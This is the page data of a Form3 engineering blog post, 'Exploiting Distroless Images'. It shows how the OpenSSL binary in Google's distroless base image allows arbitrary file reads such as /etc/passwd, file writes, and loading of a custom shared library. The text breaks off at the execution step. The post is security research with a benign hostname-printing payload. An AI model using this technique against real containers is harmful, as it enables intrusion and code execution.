[{"data":1,"prerenderedAt":914},["ShallowReactive",2],{"nav_featured_podcast":3,"nav_featured_press_release":21,"navigation_content":30,"engineering_blog_post:exploiting-distroless-images":378},{"uid":4,"title":5,"episodeLabel":6,"dateLabel":7,"episodeArt":8,"href":20},"from-payment-rails-to-connectivity","From Payment Rails to Connectivity, with The Clearing House's David Watson","EPISODE 5","August 18, 2026",{"dimensions":9,"alt":12,"copyright":13,"url":14,"id":15,"edit":16},{"width":10,"height":11},1064,652,"Payments Cannot Fail — Episode 05 with David Watson",null,"\u002F_prismic-media\u002Fd80df2e47c3ecb6f-cFcyPAgzKCMQEaND_Episode-05-David.jpg","cFcyPAgzKCMQEaND",{"x":17,"y":17,"zoom":18,"background":19},0,1,"transparent","\u002Fresources\u002Fpodcasts\u002Ffrom-payment-rails-to-connectivity",{"uid":22,"title":23,"tag":24,"dateLabel":25,"imageUrl":26,"imageAlt":27,"href":28,"imageFit":29},"form3-expands-strategic-partnership-with-sumup","Form3 expands strategic partnership with SumUp to bring real-time SEPA payments to millions of European small businesses","EU","February 25, 2026","\u002F_prismic-media\u002F3e91177f91478610-QA44Gzev0_tdg3ZI_SumUp.jpg","sumup","\u002Fresources\u002Fpress-releases\u002Fform3-expands-strategic-partnership-with-sumup","cover",{"header":31,"platform":59,"solutions":91,"developers":133,"company":155,"resources":184,"partnerships":208,"footer":220,"mobile":325},{"ctaLabel":32,"ctaHref":33,"topNav":34},"TALK TO OUR TEAM","\u002Fcontact",[35,39,43,47,51,55],{"label":36,"href":37,"key":38},"Platform","\u002Fplatform","platform",{"label":40,"href":41,"key":42},"Solutions","\u002Fsolutions","solutions",{"label":44,"href":45,"key":46},"Developers","\u002Fdevelopers","developers",{"label":48,"href":49,"key":50},"Company","\u002Fcompany","company",{"label":52,"href":53,"key":54},"Resources","\u002Fresources","resources",{"label":56,"href":57,"key":58},"Partnerships","\u002Fpartnerships","partnerships",{"sectionEyebrow":60,"primary":61,"productLinks":65,"enterprise":81,"trustFabric":86},"Explore the Platform",{"heading":62,"body":63,"ctaLabel":64,"ctaHref":37},"Our Payments Platform","A resilient, cloud-native platform powering real-time account-to-account payments at global scale.","See How It Works",[66,69,72,75,78],{"label":67,"href":68},"Payments Processing & Gateway","\u002Fpayments-processing-gateway",{"label":70,"href":71},"Orchestration & Intelligent Routing","\u002Forchestration-intelligent-routing",{"label":73,"href":74},"Payments Simulator","\u002Fpayments-simulator",{"label":76,"href":77},"Sponsor Bank Enablement","\u002Fsponsor-bank-enablement",{"label":79,"href":80},"Informed UI","\u002Finformed-ui",{"heading":82,"body":83,"ctaLabel":84,"ctaHref":85},"Form3 Enterprise","Deploy and manage proven cloud-native payments technology in the environment that works for your institution.","Deploy Enterprise","\u002Fplatform\u002Fenterprise",{"heading":87,"body":88,"ctaLabel":89,"ctaHref":90},"Form3 Trust Fabric","Manage TLS certificates, cryptographic vulnerabilities and quantum readiness at scale, with continuous visibility.","Deploy Trust Fabric","\u002Fplatform\u002Ftrust-fabric",{"regionsIntro":92,"regions":98,"industries":118},{"eyebrow":93,"heading":94,"headingLine2":95,"body":96,"ctaLabel":64,"ctaHref":97},"Regions","Global Reach.","Regional Expertise.","A proven payments platform serving organizations worldwide, with specialized experience across North America, United Kingdom, and Europe.","\u002Fglobal",[99,108,113],{"label":100,"description":101,"ctaLabel":102,"href":103,"extraLinks":104},"North America","Real-time infrastructure, through a resilient, multi-cloud platform built for scale and regulatory confidence.","US HOME","\u002Fsolutions\u002Funited-states",[105],{"label":106,"href":107},"CANADA HOME","\u002Fsolutions\u002Fcanada",{"label":109,"description":110,"ctaLabel":111,"href":112},"United Kingdom","Powering account-to-account payments at the heart of the UK financial ecosystem, with proven resilience.","UK HOME","\u002Fsolutions\u002Funited-kingdom",{"label":114,"description":115,"ctaLabel":116,"href":117},"Europe","Enabling secure, real-time and SEPA payments across European markets through a unified, cloud-native platform.","EUROPE HOME","\u002Fsolutions\u002Feurope",{"eyebrow":119,"links":120},"Industries",[121,125,129],{"label":122,"href":123,"iconSrc":124},"Financial Services","\u002Fsolutions\u002Findustries\u002Ffinancial-services","\u002F_prismic-media\u002F29c09c45caa89db9-kbUHZmgTmuIMbo1t_FinancialServices_menu.svg",{"label":126,"href":127,"iconSrc":128},"Fintech","\u002Fsolutions\u002Findustries\u002Ffintech","\u002F_prismic-media\u002F6de3e7cb4dd8d874-SjwNe6Nh-bbuTi0P_Fintech_menu.svg",{"label":130,"href":131,"iconSrc":132},"Government","\u002Fsolutions\u002Findustries\u002Fgovernment","\u002F_prismic-media\u002Fe71bc3a74a1d2142-kaGgdituzKDnVTbm_Government_menu.svg",{"engineering":134,"api":142,"pressEyebrow":154},{"eyebrow":135,"links":136},"Engineering",[137,139],{"label":135,"href":138},"\u002Fengineering",{"label":140,"href":141},"Accreditations","\u002Faccreditations",{"eyebrow":143,"links":144},"API",[145,148,151],{"label":146,"href":147},"API Docs","https:\u002F\u002Fwww.api-docs.form3.tech\u002F",{"label":149,"href":150},"API Tutorials","https:\u002F\u002Fwww.api-docs.form3.tech\u002Fapi\u002Ftutorials\u002Fgetting-started\u002Fintroduction",{"label":152,"href":153},"API Status","https:\u002F\u002Fstatus.form3.tech\u002F","Latest Press Release",{"about":156,"people":171,"podcastEyebrow":183},{"eyebrow":157,"links":158},"About",[159,162,165,168],{"label":160,"href":161},"Our Story","\u002Fcompany\u002Four-story",{"label":163,"href":164},"Our Team","\u002Fcompany\u002Fteam",{"label":166,"href":167},"Our Success & Strategic Approach","\u002Fcompany\u002Four-success",{"label":169,"href":170},"Customer Stories","\u002Fcompany\u002Fcustomer-stories",{"eyebrow":172,"links":173},"People",[174,177,180],{"label":175,"href":176},"Careers","\u002Fcompany\u002Fcareers",{"label":178,"href":179},"Vacancies","\u002Fcompany\u002Fvacancies",{"label":181,"href":182},"Culture","\u002Fcompany\u002Fculture","Latest Podcast",{"intro":185,"links":189,"pressEyebrow":154,"podcastEyebrow":183},{"eyebrow":52,"heading":186,"body":187,"ctaLabel":188,"ctaHref":53},"Form3 Resources","Our Resources bring together thought leadership, engineering insights, payments expertise, webinars, podcasts, whitepapers, company news and stories from our teams—all in one place.","LEARN MORE",[190,193,196,199,202,205],{"label":191,"href":192},"Payments Cannot Fail Podcast","\u002Fresources\u002Fpodcasts",{"label":194,"href":195},"Press Releases","\u002Fresources\u002Fpress-releases",{"label":197,"href":198},"Payment Insights","\u002Fresources\u002Fpayment-insights",{"label":200,"href":201},"Culture Blog","\u002Fresources\u002Fculture-blog",{"label":203,"href":204},"Engineering Blog","\u002Fresources\u002Fengineering-blog",{"label":206,"href":207},"Events","\u002Fevents",{"intro":209,"links":213,"pressEyebrow":154},{"eyebrow":56,"heading":210,"body":211,"ctaLabel":212,"ctaHref":57},"Partner with Form3","Explore how Form3 works with banks, fintechs, cloud providers, technology platforms and system integrators to accelerate payment modernization, strengthen customer offerings and unlock new opportunities for growth.","Let's Partner Together",[214,217],{"label":215,"href":216},"Technical & Ecosystem Partners","\u002Fpartnerships\u002Ftechnical-ecosystem",{"label":218,"href":219},"Channel & Distribution Partners","\u002Fpartnerships\u002Fchannel-distribution",{"platform":221,"region":229,"development":240,"company":248,"resources":259,"partnerships":267,"stayConnected":272,"legalLinks":292,"certifications":314},{"title":36,"links":222},[223,224,225,226,227,228],{"label":62,"href":37},{"label":67,"href":68},{"label":70,"href":71},{"label":73,"href":74},{"label":76,"href":77},{"label":79,"href":80},{"title":230,"links":231},"Region",[232,234,236,237,238],{"label":233,"href":97},"Global",{"label":235,"href":103},"United States",{"label":109,"href":112},{"label":114,"href":117},{"label":239,"href":107},"Canada",{"title":241,"links":242},"Development",[243,244,245,246,247],{"label":135,"href":138},{"label":140,"href":141},{"label":146,"href":147},{"label":149,"href":150},{"label":152,"href":153},{"title":48,"links":249},[250,251,252,253,254,255,256],{"label":160,"href":161},{"label":163,"href":164},{"label":169,"href":170},{"label":175,"href":176},{"label":178,"href":179},{"label":181,"href":182},{"label":257,"href":258},"Net Zero","\u002Fcompany\u002Fnet-zero",{"title":52,"links":260},[261,262,263,264,265,266],{"label":186,"href":53},{"label":191,"href":192},{"label":194,"href":195},{"label":200,"href":201},{"label":203,"href":204},{"label":206,"href":207},{"title":56,"links":268},[269,270,271],{"label":210,"href":57},{"label":215,"href":216},{"label":218,"href":219},{"title":273,"body":274,"ctaLabel":32,"ctaHref":33,"social":275},"Stay Connected","Form3 is a global account-to-account financial fabric delivering a proven payments platform trusted by banks and fintechs to deliver resilient, real-time payment experiences for their customers at scale.",[276,280,284,288],{"label":277,"href":278,"icon":279},"LinkedIn","https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fform3-financial-cloud\u002F","linkedin",{"label":281,"href":282,"icon":283},"X","https:\u002F\u002Fwww.x.com\u002FForm3Cloud","x",{"label":285,"href":286,"icon":287},"YouTube","https:\u002F\u002Fwww.youtube.com\u002F@Form3Cloud","youtube",{"label":289,"href":290,"icon":291},"Instagram","https:\u002F\u002Fwww.instagram.com\u002Fform3.tech","instagram",[293,296,299,302,305,308,311],{"label":294,"href":295},"Terms & Conditions","\u002Flegal\u002Fterms-and-conditions",{"label":297,"href":298},"Privacy Policy","\u002Flegal\u002Fdata-privacy-statement",{"label":300,"href":301},"Recruitment Data Policy","\u002Flegal\u002Frecruitment-data-policy",{"label":303,"href":304},"Modern Slavery Statement","\u002Flegal\u002Fmodern-slavery",{"label":306,"href":307},"License","\u002Flegal\u002Flicense",{"label":309,"href":310},"Cookie Policy","\u002Flegal\u002Fcookie-policy",{"label":312,"href":313},"Manage Cookies","#cookies",[315,317,319,321,323],{"label":316},"ISO 27001",{"label":318},"ISO 27017",{"label":320},"ISO 27018",{"label":322},"ISAE 3000 SOC 2 Type II",{"label":324},"ISO 22301",{"platform":326,"solutions":341,"developers":355,"company":365,"resources":366,"partnerships":374},[327,329,339,340],{"kind":328,"label":62,"href":37},"link",{"kind":330,"label":60,"children":331},"group",[332,333,334,335,337],{"label":67,"href":68},{"label":70,"href":71},{"label":73,"href":74},{"label":76,"href":336},"\u002Fplatform\u002Fsponsor-bank-enablement",{"label":79,"href":338},"\u002Fplatform\u002Finform3d-ui",{"kind":328,"label":82,"href":85},{"kind":328,"label":87,"href":90},[342,344,350],{"kind":328,"label":233,"href":343},"\u002Fsolutions\u002Fglobal",{"kind":330,"label":93,"children":345},[346,347,348,349],{"label":235,"href":103},{"label":239,"href":107},{"label":109,"href":112},{"label":114,"href":117},{"kind":330,"label":119,"children":351},[352,353,354],{"label":122,"href":123},{"label":126,"href":127},{"label":130,"href":131},[356,360],{"kind":330,"label":135,"children":357},[358,359],{"label":135,"href":138},{"label":140,"href":141},{"kind":330,"label":143,"children":361},[362,363,364],{"label":146,"href":147},{"label":149,"href":150},{"label":152,"href":153},[],[367,368,369,370,371,372,373],{"kind":328,"label":186,"href":53},{"kind":328,"label":191,"href":192},{"kind":328,"label":194,"href":195},{"kind":328,"label":197,"href":198},{"kind":328,"label":200,"href":201},{"kind":328,"label":203,"href":204},{"kind":328,"label":206,"href":207},[375,376,377],{"kind":328,"label":210,"href":57},{"kind":328,"label":215,"href":216},{"kind":328,"label":218,"href":219},{"id":379,"uid":380,"url":381,"type":382,"href":383,"tags":384,"first_publication_date":385,"last_publication_date":386,"slugs":387,"linked_documents":389,"lang":390,"alternate_languages":391,"data":392},"alz0-hEAACcAUWc8","exploiting-distroless-images","\u002Fresources\u002Fengineering-blog\u002Fexploiting-distroless-images","engineering_blog_post","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apnMZxEAACcAKWxv&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0-hEAACcAUWc8%22%29+%5D%5D",[],"2026-07-19T16:21:56+0000","2026-08-27T02:06:56+0000",[388],"attack-surface",[],"en-us",[],{"title":393,"excerpt":394,"card_image":395,"published_date":401,"reading_time":402,"tag":403,"dek":13,"featured_image":404,"about_form3":411,"client_about_heading":13,"client_about_body":412,"author_name":13,"author_title":13,"author_photo":413,"author_bio":414,"author_linkedin":415,"slices":417,"meta_title":393,"meta_description":426},"Exploiting Distroless Images","Daniel Teixeira, Lead of Offensive Security at Form3 discusses exploiting Distroless images, covering the topics of:Google Container Tools Distroless Base ImageAttack SurfaceAbusing OpenSSL functionalitiesAttack scenario",{"dimensions":396,"alt":393,"copyright":13,"url":398,"id":399,"edit":400},{"width":397,"height":397},800,"\u002F_prismic-media\u002F51319b231f248e8c-FMXKO2VhsUl7gdfz_exploiting-distroless-images.pn","FMXKO2VhsUl7gdfz",{"x":17,"y":17,"zoom":18,"background":19},"2022-09-22",7,"Blogs",{"dimensions":405,"alt":13,"copyright":13,"url":408,"id":409,"edit":410},{"width":406,"height":407},1200,627,"\u002F_prismic-media\u002F1b4de28b16647ee9-4-gdE9BP7wzX0tiE_18320338-ddef-42db-9370-81c25a5.png","4-gdE9BP7wzX0tiE",{"x":17,"y":17,"zoom":18,"background":19},[],[],{},[],{"link_type":416},"Any",[418,470,506,516,532,540,554,563,573,581,589,597,605,613,621,629,637,645,653,661,684,692,719,727,738,746,754,762,776,784,799,807,826,834,844,852,871],{"variation":419,"version":420,"items":421,"primary":422,"id":468,"slice_type":469,"slice_label":13},"default","initial",[],{"body":423},[424,448,451,459,462,465],{"type":425,"text":426,"spans":427},"paragraph","An abuse of functionality in the OpenSSL binary, installed in the official Google Container Tools Distroless Base container image, allows for command execution and arbitrary file read and write on distroless containers. By abusing the enc functionality in the OpenSSL binary it is possible to read and write to the filesystem using the -in and -out options and combining the write to the filesystem capability with the engine functionality that allows us to load shared libraries, it is possible to obtain command execution by uploading and loading malicious library.",[428,436,440,443],{"start":429,"end":430,"type":431,"data":432},235,238,"hyperlink",{"link_type":433,"url":434,"target":435},"Web","https:\u002F\u002Fwww.openssl.org\u002Fdocs\u002Fman1.1.1\u002Fman1\u002Fenc.html","_blank",{"start":437,"end":438,"type":439},336,339,"em",{"start":441,"end":442,"type":439},344,348,{"start":444,"end":445,"type":431,"data":446},419,425,{"link_type":433,"url":447,"target":435},"https:\u002F\u002Fwww.openssl.org\u002Fdocs\u002Fman1.1.1\u002Fman1\u002Fengine.html",{"type":425,"text":449,"spans":450},"This post will cover:",[],{"type":452,"text":453,"spans":454},"list-item","Google Container Tools Distroless Base Image",[455],{"start":17,"end":456,"type":431,"data":457},44,{"link_type":433,"url":458,"target":435},"https:\u002F\u002Fgithub.com\u002FGoogleContainerTools\u002Fdistroless",{"type":452,"text":460,"spans":461},"Attack Surface",[],{"type":452,"text":463,"spans":464},"Abusing OpenSSL functionalities",[],{"type":452,"text":466,"spans":467},"Attack scenario",[],"rich_text$df0562c4-53e0-4a87-94d8-8230425a3126","rich_text",{"variation":419,"version":420,"items":471,"primary":472,"id":505,"slice_type":469,"slice_label":13},[],{"body":473},[474,477,480,483,486,491,497],{"type":475,"text":460,"spans":476},"heading2",[],{"type":425,"text":478,"spans":479},"Distroless images contain only the application and its runtime dependencies. They do not contain package managers, shells or any other programs you would expect to find in a standard Linux distribution. Without non-essential executables and libraries, distroless images are often recommended for their performance, size and security due to the reduced attack surface. However, as we will see not all distroless images are built the same.",[],{"type":425,"text":481,"spans":482},"Product URLs",[],{"type":452,"text":484,"spans":485},"gcr.io\u002Fdistroless\u002Fbase",[],{"type":452,"text":458,"spans":487},[488],{"start":17,"end":489,"type":431,"data":490},50,{"link_type":433,"url":458},{"type":452,"text":492,"spans":493},"https:\u002F\u002Fgithub.com\u002FGoogleContainerTools\u002Fdistroless\u002Ftree\u002Fmain\u002Fbase",[494],{"start":17,"end":495,"type":431,"data":496},65,{"link_type":433,"url":492},{"type":425,"text":498,"spans":499},"The Distroless Base image (gcr.io\u002Fdistroless\u002Fbase) contains the OpenSSL package, installed by the following bazel script https:\u002F\u002Fgithub.com\u002FGoogleContainerTools\u002Fdistroless\u002Fblob\u002Fmain\u002Fbase\u002Fbase.bzl",[500],{"start":501,"end":502,"type":431,"data":503},121,195,{"link_type":433,"url":504},"https:\u002F\u002Fgithub.com\u002FGoogleContainerTools\u002Fdistroless\u002Fblob\u002Fmain\u002Fbase\u002Fbase.bzl","rich_text$584f9205-1254-4917-b52f-de83806f69c4",{"variation":419,"version":420,"items":507,"primary":508,"id":514,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":509},[510],{"type":511,"text":512,"spans":513},"preformatted","[...snip...]\n    container_image(\n        name = \"base_\" + user + \"_\" + arch + distro_suffix,\n        architecture = arch,\n        base = \":static_\" + user + \"_\" + arch + distro_suffix,\n        debs = [\n            DISTRO_PACKAGES[arch][distro_suffix][\"libc6\"],\n            DISTRO_PACKAGES[arch][distro_suffix][\"libssl1.1\"],\n            DISTRO_PACKAGES[arch][distro_suffix][\"openssl\"],\n        ],\n    )\n[...snip...]",[],"code_block$c7dde318-84ff-40c6-b22f-ff9856ab2074","code_block",{"variation":419,"version":420,"items":517,"primary":518,"id":531,"slice_type":469,"slice_label":13},[],{"body":519},[520],{"type":425,"text":521,"spans":522},"The OpenSSL package installs two executable binaries the c_rehash and the openssl in the \u002Fusr\u002Fbin\u002F directory.",[523,525,528],{"start":524,"end":495,"type":439},57,{"start":526,"end":527,"type":439},74,81,{"start":529,"end":530,"type":439},89,99,"rich_text$0a704aea-5856-4f5d-aba9-289d8bb554fa",{"variation":419,"version":420,"items":533,"primary":534,"id":539,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":535},[536],{"type":511,"text":537,"spans":538},"# dpkg -L openssl | grep bin\u002F\n\u002Fusr\u002Fbin\u002Fc_rehash\n\u002Fusr\u002Fbin\u002Fopenssl",[],"code_block$fa97f853-d0f4-462b-b256-d3fa71b2d6c3",{"variation":419,"version":420,"items":541,"primary":542,"id":553,"slice_type":469,"slice_label":13},[],{"body":543},[544,546,549],{"type":475,"text":463,"spans":545},[],{"type":425,"text":547,"spans":548},"To demonstrate the vulnerabilities we will use a docker container running a simple Golang application on a distroless base image.",[],{"type":425,"text":550,"spans":551},"main.go",[552],{"start":17,"end":402,"type":439},"rich_text$050291e9-3d6d-443d-a5c9-ff671cb8e477",{"variation":419,"version":420,"items":555,"primary":556,"id":562,"slice_type":515,"slice_label":13},[],{"language_label":557,"code":558},"go",[559],{"type":511,"text":560,"spans":561},"package main\n\nimport (\n\t\"fmt\"\n\t\"time\"\n)\n\nfunc main() {\n\tfor {\n\t\tfmt.Println(\"Hello world!\")\n\t\ttime.Sleep(time.Second * 1)\n\t}\n}",[],"code_block$e2c6b2f3-5b34-4d04-9fe5-cb97f4aae65b",{"variation":419,"version":420,"items":564,"primary":565,"id":572,"slice_type":469,"slice_label":13},[],{"body":566},[567],{"type":425,"text":568,"spans":569},"Dockerfile",[570],{"start":17,"end":571,"type":439},10,"rich_text$98a3f02d-78e9-469b-8042-201c63f5a2e2",{"variation":419,"version":420,"items":574,"primary":575,"id":580,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":576},[577],{"type":511,"text":578,"spans":579},"FROM golang:1.18 as builder\n\nWORKDIR \u002Fgo\u002Fsrc\u002Fapp\nADD . \u002Fgo\u002Fsrc\u002Fapp\n\nRUN go get -d -v .\u002F...\n\nRUN go build -o \u002Fgo\u002Fbin\u002Fapp\n\nFROM gcr.io\u002Fdistroless\u002Fbase\nCOPY --from=builder \u002Fgo\u002Fbin\u002Fapp \u002F\nCMD [\"\u002Fapp\"]",[],"code_block$1f7626a0-e630-4986-b5f0-134e614b9b92",{"variation":419,"version":420,"items":582,"primary":583,"id":588,"slice_type":469,"slice_label":13},[],{"body":584},[585],{"type":425,"text":586,"spans":587},"Building the docker image.",[],"rich_text$584ee53c-a632-474c-9af4-af11a109700c",{"variation":419,"version":420,"items":590,"primary":591,"id":596,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":592},[593],{"type":511,"text":594,"spans":595},"% docker build -t distroless-demo .\n[...snip...]",[],"code_block$53e28daf-2827-4c39-acb4-f28e5c52c10e",{"variation":419,"version":420,"items":598,"primary":599,"id":604,"slice_type":469,"slice_label":13},[],{"body":600},[601],{"type":425,"text":602,"spans":603},"Running the container and verifying that the application is working as intended.",[],"rich_text$eaa8c83f-dd05-41b3-807a-5686deb8b2e5",{"variation":419,"version":420,"items":606,"primary":607,"id":612,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":608},[609],{"type":511,"text":610,"spans":611},"% docker run --name demo -d distroless-demo\nfad9d33c2a467cf92bdc3c011f9dfe9ecbf5f2ed7da5b8a6b2c82ea8b7511199\n% docker attach demo                           \nHello world!\nHello world!\nHello world!\nread escape sequence",[],"code_block$2b7617cb-fd76-40df-842e-e6ad692f9535",{"variation":419,"version":420,"items":614,"primary":615,"id":620,"slice_type":469,"slice_label":13},[],{"body":616},[617],{"type":425,"text":618,"spans":619},"And as expected there is no shell available in the container.",[],"rich_text$03745c8e-0239-4ce3-bcac-61f848e1d737",{"variation":419,"version":420,"items":622,"primary":623,"id":628,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":624},[625],{"type":511,"text":626,"spans":627},"% docker exec -it demo \u002Fbin\u002Fsh   \nOCI runtime exec failed: exec failed: container_linux.go:380: starting \ncontainer process caused: exec: \"\u002Fbin\u002Fsh\": stat \u002Fbin\u002Fsh: no such file or \ndirectory: unknown",[],"code_block$733d858f-d740-4e0a-be84-9f1ae8da315e",{"variation":419,"version":420,"items":630,"primary":631,"id":636,"slice_type":469,"slice_label":13},[],{"body":632},[633],{"type":425,"text":634,"spans":635},"But OpenSSL provides and interactive command prompt that can be abused.",[],"rich_text$d0eb3666-aff8-421a-a687-7db087888f7a",{"variation":419,"version":420,"items":638,"primary":639,"id":644,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":640},[641],{"type":511,"text":642,"spans":643},"% docker exec -it demo \u002Fusr\u002Fbin\u002Fopenssl\nOpenSSL>",[],"code_block$fa7f0fc3-f090-4055-bb73-fe27b33fbf15",{"variation":419,"version":420,"items":646,"primary":647,"id":652,"slice_type":469,"slice_label":13},[],{"body":648},[649],{"type":425,"text":650,"spans":651},"OpenSSL available commands.",[],"rich_text$f60215b2-0dd8-4b48-b6c6-8fdde86f31bf",{"variation":419,"version":420,"items":654,"primary":655,"id":660,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":656},[657],{"type":511,"text":658,"spans":659},"OpenSSL> help \nStandard commands\nasn1parse         ca                ciphers           cms               \ncrl               crl2pkcs7         dgst              dhparam           \ndsa               dsaparam          ec                ecparam           \nenc               engine            errstr            gendsa            \ngenpkey           genrsa            help              list              \nnseq              ocsp              passwd            pkcs12            \npkcs7             pkcs8             pkey              pkeyparam         \npkeyutl           prime             rand              rehash            \nreq               rsa               rsautl            s_client          \ns_server          s_time            sess_id           smime             \nspeed             spkac             srp               storeutl          \nts                verify            version           x509              \n\nMessage Digest commands (see the `dgst' command for more details)\nblake2b512        blake2s256        gost              md4               \nmd5               rmd160            sha1              sha224            \nsha256            sha3-224          sha3-256          sha3-384          \nsha3-512          sha384            sha512            sha512-224        \nsha512-256        shake128          shake256          sm3               \n\nCipher commands (see the `enc' command for more details)\naes-128-cbc       aes-128-ecb       aes-192-cbc       aes-192-ecb       \naes-256-cbc       aes-256-ecb       aria-128-cbc      aria-128-cfb      \naria-128-cfb1     aria-128-cfb8     aria-128-ctr      aria-128-ecb      \naria-128-ofb      aria-192-cbc      aria-192-cfb      aria-192-cfb1     \naria-192-cfb8     aria-192-ctr      aria-192-ecb      aria-192-ofb      \naria-256-cbc      aria-256-cfb      aria-256-cfb1     aria-256-cfb8     \naria-256-ctr      aria-256-ecb      aria-256-ofb      base64            \nbf                bf-cbc            bf-cfb            bf-ecb            \nbf-ofb            camellia-128-cbc  camellia-128-ecb  camellia-192-cbc  \ncamellia-192-ecb  camellia-256-cbc  camellia-256-ecb  cast              \ncast-cbc          cast5-cbc         cast5-cfb         cast5-ecb         \ncast5-ofb         des               des-cbc           des-cfb           \ndes-ecb           des-ede           des-ede-cbc       des-ede-cfb       \ndes-ede-ofb       des-ede3          des-ede3-cbc      des-ede3-cfb      \ndes-ede3-ofb      des-ofb           des3              desx              \nrc2               rc2-40-cbc        rc2-64-cbc        rc2-cbc           \nrc2-cfb           rc2-ecb           rc2-ofb           rc4               \nrc4-40            seed              seed-cbc          seed-cfb          \nseed-ecb          seed-ofb          sm4-cbc           sm4-cfb           \nsm4-ctr           sm4-ecb           sm4-ofb",[],"code_block$9b6e63da-971e-42d2-bbd4-ebc350c4c1d7",{"variation":419,"version":420,"items":662,"primary":663,"id":683,"slice_type":469,"slice_label":13},[],{"body":664},[665,668,677],{"type":475,"text":666,"spans":667},"Exploitation details",[],{"type":425,"text":669,"spans":670},"1. Reading arbitrary files, no kubectl cp no problem!",[671,674],{"start":17,"end":672,"type":673},53,"strong",{"start":675,"end":676,"type":439},31,41,{"type":425,"text":678,"spans":679},"Abusing the OpenSSL enc functionality allows us to read files inside the container filesystem.",[680],{"start":681,"end":682,"type":439},20,23,"rich_text$85235221-e91d-4ec3-8ef0-8065367a9214",{"variation":419,"version":420,"items":685,"primary":686,"id":691,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":687},[688],{"type":511,"text":689,"spans":690},"% docker exec -it demo \u002Fusr\u002Fbin\u002Fopenssl\nOpenSSL> enc -in \u002Fetc\u002Fpasswd\nroot:x:0:0:root:\u002Froot:\u002Fsbin\u002Fnologin\nnobody:x:65534:65534:nobody:\u002Fnonexistent:\u002Fsbin\u002Fnologin\nnonroot:x:65532:65532:nonroot:\u002Fhome\u002Fnonroot:\u002Fsbin\u002Fnologin\nOpenSSL>",[],"code_block$07476036-f131-4b53-aa82-da32a7c19202",{"variation":419,"version":420,"items":693,"primary":694,"id":718,"slice_type":469,"slice_label":13},[],{"body":695},[696,701,710,715],{"type":425,"text":697,"spans":698},"2. Writing and executing custom \"malicious\" binaries",[699],{"start":17,"end":700,"type":673},52,{"type":425,"text":702,"spans":703},"Abusing OpenSSL enc and engine functionalities allows us to write and execute a custom library running our \"malicious\" code.",[704,707],{"start":705,"end":706,"type":439},16,19,{"start":708,"end":709,"type":439},24,30,{"type":425,"text":711,"spans":712},"Setup",[713],{"start":17,"end":714,"type":673},5,{"type":425,"text":716,"spans":717},"Custom library source code.",[],"rich_text$e2e15f03-3dec-4834-b3e5-a63774e4864e",{"variation":419,"version":420,"items":720,"primary":721,"id":726,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":722},[723],{"type":511,"text":724,"spans":725},"#include \u003Copenssl\u002Fengine.h>\n#include \u003Csys\u002Futsname.h>\n\nstatic int bind(ENGINE *e, const char *id) {\n\n  struct utsname buf;\n  uname(&buf);\n\n  printf(\"Hostname: %s\" ,buf.nodename);\n\n  return 1;\n}\n\nIMPLEMENT_DYNAMIC_BIND_FN(bind)\nIMPLEMENT_DYNAMIC_CHECK_FN()",[],"code_block$9242eb2a-6fe6-4af6-a6a8-ced95d5263d3",{"variation":419,"version":420,"items":728,"primary":729,"id":737,"slice_type":469,"slice_label":13},[],{"body":730},[731],{"type":425,"text":732,"spans":733},"Compilling the library using gcc.",[734],{"start":735,"end":736,"type":439},29,32,"rich_text$1d4f57f0-27e9-45a8-8b31-6d1676772779",{"variation":419,"version":420,"items":739,"primary":740,"id":745,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":741},[742],{"type":511,"text":743,"spans":744},"sudo apt install openssl-devel -y\ngcc -fPIC -o hostname.o -c hostname.c && gcc -s -shared -o hostname.so -lcrypto hostname.o",[],"code_block$ad14fb79-c1c8-4e8e-8a48-6273c7c4b212",{"variation":419,"version":420,"items":747,"primary":748,"id":753,"slice_type":469,"slice_label":13},[],{"body":749},[750],{"type":425,"text":751,"spans":752},"Base64 encode the library.",[],"rich_text$ab7f0817-ef90-4f86-91cc-52acaba16f22",{"variation":419,"version":420,"items":755,"primary":756,"id":761,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":757},[758],{"type":511,"text":759,"spans":760},"base64 .\u002Fhostname.so\nf0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgBAAAAAAAABAAAAAAAAAAEgxAAAAAAAAAAAAAEAAO\n[...snip...]",[],"code_block$b07d5d00-23f0-4d69-91d2-834a98c264b6",{"variation":419,"version":420,"items":763,"primary":764,"id":775,"slice_type":469,"slice_label":13},[],{"body":765},[766,770],{"type":425,"text":767,"spans":768},"Writing the payload",[769],{"start":17,"end":706,"type":673},{"type":425,"text":771,"spans":772},"Writing the base64 encoded library using the OpenSSL enc functionality.",[773],{"start":672,"end":774,"type":439},56,"rich_text$d9960d6c-0839-48f5-9911-9d5209cad1d5",{"variation":419,"version":420,"items":777,"primary":778,"id":783,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":779},[780],{"type":511,"text":781,"spans":782},"% docker exec -it demo \u002Fusr\u002Fbin\u002Fopenssl                       \nOpenSSL> enc -d -a -out \u002Ftmp\u002Fhostname.so\nf0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgBAAAAAAAABAAAAAAAAAAEgxAAAAAAAAAAAAAEAAO\n[...snip...]\nAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA\nOpenSSL>",[],"code_block$cdcb5a9d-d295-42c8-91a5-a274829872ea",{"variation":419,"version":420,"items":785,"primary":786,"id":798,"slice_type":469,"slice_label":13},[],{"body":787},[788,793],{"type":425,"text":789,"spans":790},"Executing the payload",[791],{"start":17,"end":792,"type":673},21,{"type":425,"text":794,"spans":795},"Executing the custom library using the OpenSSL engine functionality and print the container 